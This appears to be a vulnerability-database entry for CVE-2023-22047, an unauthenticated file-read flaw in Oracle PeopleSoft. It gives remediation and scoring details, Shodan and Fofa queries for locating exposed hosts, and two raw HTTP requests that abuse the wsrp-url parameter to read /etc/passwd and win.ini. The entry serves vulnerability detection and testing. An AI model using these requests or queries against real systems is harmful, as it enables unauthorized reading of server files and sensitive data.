| Title | Oracle Peoplesoft - Unauthenticated File Read |
|---|---|
| Author | tuo4n8 |
| Severity | High |
| Impact | Unauthenticated attackers can read arbitrary files from the PeopleSoft server through the wsrp-url parameter in the Portal component, potentially accessing critical data including configuration files and sensitive employee information. |
| Remediation | Update Oracle PeopleSoft Enterprise PeopleTools to a version newer than 8.60 that validates and restricts file:// URLs in the wsrp-url parameter. |
| CVSS Score | 7.5 |
| EPSS Score | 0.91427 |
| CVE ID | CVE-2023-22047 |
| Shodan Query | http.title:"oracle peoplesoft enterprise" |
| Fofa Query | title="oracle peoplesoft enterprise" |
| Tags | cve cve2023 oracle peoplesoft lfi vuln |
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component- Portal). Supported versions that are affected are 8.59 and 8.60. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data.
GET /RP?wsrp-url=file:///etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /RP?wsrp-url=file:///c:\windows\win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/117.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-22047.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-22047.pcap
N/AN/A